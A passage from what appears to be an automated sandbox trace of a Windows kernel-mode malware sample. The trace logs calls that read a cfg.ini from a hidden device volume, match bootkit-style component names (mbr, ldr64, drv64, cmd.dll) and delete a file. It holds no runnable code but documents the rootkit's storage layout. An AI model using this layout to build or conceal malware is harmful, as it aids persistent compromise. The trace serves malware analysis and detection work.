_Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.493] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.493] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.493] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.493] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.493] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.493] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.493] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.493] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.493] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.493] KeLeaveCriticalRegion () [0128.493] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.493] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.493] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.493] KeEnterCriticalRegion () [0128.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.493] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.493] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.493] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.493] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.494] IdePortDispatch () returned 0x103 [0128.494] KeWaitForMutexObject () returned 0x0 [0128.494] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.494] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.494] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.494] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.494] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.494] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.494] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.494] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.494] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.494] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.494] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.494] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.494] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.494] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.494] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.494] KeLeaveCriticalRegion () [0128.494] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.494] ReleaseMutex (hMutex=0x100) returned 1 [0128.494] Sleep (dwMilliseconds=0x2bf20) [0128.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fc935b0, dwHighDateTime=0x1d24fa4)) [0128.501] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.501] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.501] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.501] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.501] KeEnterCriticalRegion () [0128.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.501] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.502] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.502] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.502] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.502] IdePortDispatch () returned 0x103 [0128.502] KeWaitForMutexObject () returned 0x0 [0128.502] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.502] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.502] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.502] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.502] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.502] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff450 [0128.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.502] KeLeaveCriticalRegion () [0128.502] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.502] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.502] KeEnterCriticalRegion () [0128.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.502] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.502] KeLeaveCriticalRegion () [0128.502] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.502] KeEnterCriticalRegion () [0128.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.502] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.502] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.502] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.502] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.502] IdePortDispatch () returned 0x103 [0128.502] KeWaitForMutexObject () returned 0x0 [0128.503] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.503] KeLeaveCriticalRegion () [0128.503] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.503] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.503] KeEnterCriticalRegion () [0128.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.503] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b3000 [0128.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.503] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.503] IdePortDispatch () returned 0x103 [0128.503] KeWaitForMutexObject () returned 0x0 [0128.503] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.503] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.503] IdePortDispatch () returned 0x103 [0128.503] KeWaitForMutexObject () returned 0x0 [0128.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.503] KeLeaveCriticalRegion () [0128.503] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.504] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.504] KeEnterCriticalRegion () [0128.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.504] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.504] KeLeaveCriticalRegion () [0128.504] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.504] KeEnterCriticalRegion () [0128.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.504] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.504] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.504] KeLeaveCriticalRegion () [0128.504] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.504] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.504] KeEnterCriticalRegion () [0128.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.504] ExFreePoolWithTag (P=0xfffffa8003bff450, Tag=0x0) [0128.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.504] KeLeaveCriticalRegion () [0128.504] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.504] ReleaseMutex (hMutex=0xf0) returned 1 [0128.504] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.505] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.505] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.505] KeEnterCriticalRegion () [0128.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.505] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.505] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.505] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.505] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.505] IdePortDispatch () returned 0x103 [0128.505] KeWaitForMutexObject () returned 0x0 [0128.505] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.505] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.505] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.505] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.505] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.505] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe1a0 [0128.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.505] KeLeaveCriticalRegion () [0128.505] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.505] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.505] KeEnterCriticalRegion () [0128.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.505] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.505] KeLeaveCriticalRegion () [0128.505] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.505] KeEnterCriticalRegion () [0128.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.505] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.505] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.505] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.505] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.505] IdePortDispatch () returned 0x103 [0128.506] KeWaitForMutexObject () returned 0x0 [0128.506] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.506] KeLeaveCriticalRegion () [0128.506] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.506] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.506] KeEnterCriticalRegion () [0128.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.506] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b4000 [0128.506] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.506] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.506] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.506] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.506] IdePortDispatch () returned 0x103 [0128.506] KeWaitForMutexObject () returned 0x0 [0128.506] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.506] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.506] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.506] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.506] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.506] IdePortDispatch () returned 0x103 [0128.506] KeWaitForMutexObject () returned 0x0 [0128.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.507] KeLeaveCriticalRegion () [0128.507] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.507] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.507] KeEnterCriticalRegion () [0128.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.507] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.507] KeLeaveCriticalRegion () [0128.507] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.507] KeEnterCriticalRegion () [0128.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.507] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.507] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.507] KeLeaveCriticalRegion () [0128.507] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.507] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.507] KeEnterCriticalRegion () [0128.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.507] ExFreePoolWithTag (P=0xfffffa8003bfe1a0, Tag=0x0) [0128.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.507] KeLeaveCriticalRegion () [0128.507] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.507] ReleaseMutex (hMutex=0xf0) returned 1 [0128.507] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.508] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.508] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.508] KeEnterCriticalRegion () [0128.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.508] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.508] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.508] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.508] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.508] IdePortDispatch () returned 0x103 [0128.508] KeWaitForMutexObject () returned 0x0 [0128.508] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.508] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.508] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.508] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.508] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.508] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff1f0 [0128.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.508] KeLeaveCriticalRegion () [0128.508] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.508] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.508] KeEnterCriticalRegion () [0128.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.508] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.508] KeLeaveCriticalRegion () [0128.508] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.508] KeEnterCriticalRegion () [0128.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.508] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.508] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.508] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.508] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.508] IdePortDispatch () returned 0x103 [0128.508] KeWaitForMutexObject () returned 0x0 [0128.509] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.509] KeLeaveCriticalRegion () [0128.509] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.509] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.509] KeEnterCriticalRegion () [0128.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.509] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b5000 [0128.509] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.509] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.509] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.509] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.509] IdePortDispatch () returned 0x103 [0128.509] KeWaitForMutexObject () returned 0x0 [0128.511] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.511] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.511] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.511] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.511] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.511] IdePortDispatch () returned 0x103 [0128.511] KeWaitForMutexObject () returned 0x0 [0128.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.511] KeLeaveCriticalRegion () [0128.511] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.511] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.511] KeEnterCriticalRegion () [0128.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.511] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.511] KeLeaveCriticalRegion () [0128.512] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.512] KeEnterCriticalRegion () [0128.512] 